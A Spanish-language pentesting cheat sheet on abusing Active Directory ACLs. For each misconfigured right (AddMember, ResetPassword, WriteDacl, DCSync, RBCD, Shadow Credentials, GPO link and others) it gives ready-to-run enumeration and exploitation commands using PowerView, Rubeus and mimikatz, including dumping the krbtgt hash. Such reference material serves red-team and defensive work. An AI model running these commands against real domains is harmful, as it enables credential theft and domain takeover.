Ctrlk
Xtormin GithubLinkedIn
For the complete documentation index, see llms.txt. This page is also available as Markdown.

ACL

Modelo de Control de Acceso

  • Access token: lo que lleva tu proceso/hilo (SID del usuario + SIDs de grupos + privilegios).

  • Security Descriptor del objeto:

    • Owner SID

    • DACL (quién puede/qué puede)

    • SACL (qué se audita: éxitos/fallos)

  • Evaluación DACL (cómo decide Windows):

    1. Se procesan las ACE en orden canónico: denegaciones explícitas → permisos explícitos → heredadas.

    2. Si una deny encaja (por usuario/grupo), bloquea, aunque haya “allow” más abajo (como en la imagen de Andrew).

    3. Si no hay deny aplicable, se buscan “allow” que cubran el acceso solicitado.

  • Tipos de ACE que nos interesan para escalada: GenericAll, GenericWrite, WriteDacl, WriteOwner, Owner, AllExtendedRights, AddMember (en grupos), derechos específicos como DCSync (replication-*).

¿Por qué importan las ACLs?

Porque permisos delegados o mal configurados crean caminos a:

  • Añadirte a un grupo (p. ej., AddMember sobre un grupo privilegiado).

  • Resetear contraseñas (extended right sobre usuarios).

  • Cambiar DACL/Owner (persistencia/PE).

  • DCSync (replicar hashes del dominio si tienes las 2–3 rights de replicación sobre el root).

Herramientas que mapean ACLs con acciones

Identificación y explotación de ACLs

Añadirse a un grupo privilegiado

Derechos

  • Sobre el grupo objetivo: WriteProperty del atributo member o AddMember (Extended Right), o GenericWrite/GenericAll.

Enumeración

  • PowerView: Find-InterestingDomainAcl -ResolveGUIDs (filtra por AddMember, GenericWrite, GenericAll).

  • Específico: Get-DomainObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs y buscar tu identidad en las ACE.

  • BloodHound: busca aristas AddMember/GenericWrite/GenericAll hacia ese grupo.

Explotación

  • PowerView: Add-DomainGroupMember -Identity "Domain Admins" -Members <tú> (o añade primero permisos con Add-DomainObjectAcl si tienes WriteDacl).

Resetear contraseña de otro usuario (sin conocer la actual)

Derechos

  • Sobre el usuario objetivo: Extended Right Reset Password (o AllExtendedRights/GenericAll).

Enumeración

  • PowerView: Find-InterestingDomainAcl -ResolveGUIDs (filtra por ResetPassword / AllExtendedRights).

  • ADModule (visión cruda): (Get-Acl 'AD:\CN=victim,...').Access y buscar el derecho (sin resolución de GUID).

Explotación

  • PowerView: Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)

Kerberoast escribiendo un SPN en una cuenta que controlas

Derechos

  • Sobre esa cuenta (usuario/computer): WriteProperty de servicePrincipalName (o GenericWrite/GenericAll).

Enumeración

  • Get-DomainObjectAcl -SamAccountName <cuenta> -ResolveGUIDs (busca servicePrincipalName).

  • BloodHound: edge GenericWrite sobre la cuenta.

Explotación

  • PowerView: Set-DomainObject -Identity <cuenta> -Set @{'servicePrincipalName'='app/http/srv'}

  • Luego: Rubeus kerberoast para obtener y crackear el TGS.

AS-REP Roast (deshabilitar preauth en una víctima)

Derechos

  • Sobre el usuario objetivo: WriteProperty de userAccountControl (o GenericWrite/GenericAll).

Enumeración

  • Get-DomainObjectAcl -SamAccountName victim -ResolveGUIDs (mira userAccountControl).

Explotación

  • PowerView: Set-DomainObject -Identity victim -Xor @{'useraccountcontrol'=4194304} (bit DONT_REQ_PREAUTH)

  • Rubeus asreproast para capturar AS-REP y crackear.

Shadow Credentials (PKINIT sin contraseña)

Derechos

  • Sobre el usuario/objeto objetivo: WriteProperty de msDS-KeyCredentialLink (o GenericWrite/GenericAll).

Enumeración

  • Get-DomainObjectAcl -SamAccountName victim -ResolveGUIDs (buscar msDS-KeyCredentialLink).

Explotación

  • Herramientas: Whisker / funciones para KeyCredentialLink → añades tu clave.

  • Luego TGT via PKINIT (Rubeus /pkinit) y suplantas esa identidad.

RBCD (Delegación basada en recurso)

Derechos

  • Sobre el equipo recurso (TARGET$): WriteProperty de msDS-AllowedToActOnBehalfOfOtherIdentity (o GenericWrite/GenericAll).

Enumeración

  • Get-DomainObjectAcl -SamAccountName TARGET$ -ResolveGUIDs (buscar ese atributo).

Explotación

  • Crea/comanda una cuenta máquina que controles (Powermad New-MachineAccount o una ya tuya).

  • Escribe el msDS-AllowedToActOnBehalfOfOtherIdentity del TARGET$ con el SID de tu máquina.

  • Rubeus s4u: Rubeus s4u /user:ATTACKER$ /aes256:<key> /impersonateuser:DA /msdsspn:cifs/TARGET

Constrained Delegation (clásica)

Derechos

  • Sobre la cuenta delegante (user/computer): WriteProperty de msDS-AllowedToDelegateTo (o GenericWrite/GenericAll).

Enumeración

  • Get-DomainObjectAcl -SamAccountName delegatingAcct -ResolveGUIDs.

Explotación

  • Añade SPNs de destino a msDS-AllowedToDelegateTo.

  • Rubeus s4u para S4U2Self/S4U2Proxy y obtener TGS de servicios remotos.

DCSync (replicar hashes del dominio)

Derechos

  • Sobre la raíz del dominio (y a veces Config): Extended Rights DS-Replication-Get-Changes, …-All, (y en algunos entornos …-In-Filtered-Set).

Enumerar

  • PowerView (sobre root DN): (Get-Domain).DistinguishedName | % { Get-DomainObjectAcl -SearchBase ("LDAP://"+$_) -ResolveGUIDs } | ? { $_.ObjectAceType -match 'Replicat' }

  • BloodHound: Find Principals with DCSync Rights.

Explotar

  • mimikatz "lsadump::dcsync /domain:corp.local /user:krbtgt"

  • o secretsdump.py (Impacket).

Tomar propiedad / abrir DACL de un objeto y luego concederme todo

Derechos

  • WriteOwner o ser Owner del objeto → asumir propiedad.

  • WriteDacl → modificar la DACL y darme GenericAll.

Enumeración

  • Find-InterestingDomainAcl -ResolveGUIDs (filtra por WriteOwner/WriteDacl).

Explotación

  • Set-DomainObjectOwner -Identity "CN=Target,..." -Owner <yo>

  • Add-DomainObjectAcl -TargetIdentity "CN=Target,..." -PrincipalIdentity <yo> -Rights All

LAPS (leer la contraseña local admin de equipos gestionados)

Derechos

  • Sobre equipos: permiso de lectura de atributo ms-Mcs-AdmPwd / ms-Mcs-AdmPwdExpirationTime.

Enumeración

  • Get-DomainObjectAcl -SearchBase "LDAP://OU=Equipos,..." -ResolveGUIDs (buscar lectura sobre esos atributos).

Explotación

  • ADModule: Get-ADComputer PC01 -Properties ms-Mcs-AdmPwd | Select -Expand ms-Mcs-AdmPwd

  • Accede por SMB/WinRM con esa contraseña (privilegios locales → escalar lateralmente).

GPO Link Abuse (enlazar un GPO malicioso a una OU)

Derechos

  • Sobre la OU: WriteProperty de gPLink (o GenericWrite/GenericAll).

  • Para editar el GPO: derechos sobre el objeto GPO y escritura en SYSVOL del GPO.

Enumeración

  • OU: Get-DomainObjectAcl -Identity "OU=Servers,..." -ResolveGUIDs (buscar gpLink).

  • GPO: ACL de CN={GUID},CN=Policies,... y permisos NTFS en \\<dc>\SYSVOL\....

Explotación

  • Herramienta: SharpGPOAbuse (crear Scheduled Task/Local Admin vía GPP).

  • O modificar gPLink para enganchar tu GPO ya preparado.

Cambiar logon script / profile path de una víctima (ejecución en su contexto)

Derechos

  • Sobre el usuario: WriteProperty de scriptPath / homeDrive/homeDirectory / profilePath.

Enumeración

  • Get-DomainObjectAcl -SamAccountName victim -ResolveGUIDs.

Explotación

  • Set-DomainObject -Identity victim -Set @{'scriptPath'='\\server\share\run.cmd'}

  • Script se ejecutará en su próximo logon.

Agregar SPNs a equipos (abuso de cuentas máquina)

Derechos

  • Sobre el equipo: WriteProperty de servicePrincipalName (o GenericWrite/GenericAll).

Enumeración

  • Get-DomainObjectAcl -SamAccountName PC01$ -ResolveGUIDs.

Explotación

  • Set-DomainObject -Identity PC01$ -Set @{'servicePrincipalName'='cifs/otrohost'}

  • Útil para ciertos flujos de delegación/roasting.

Última actualización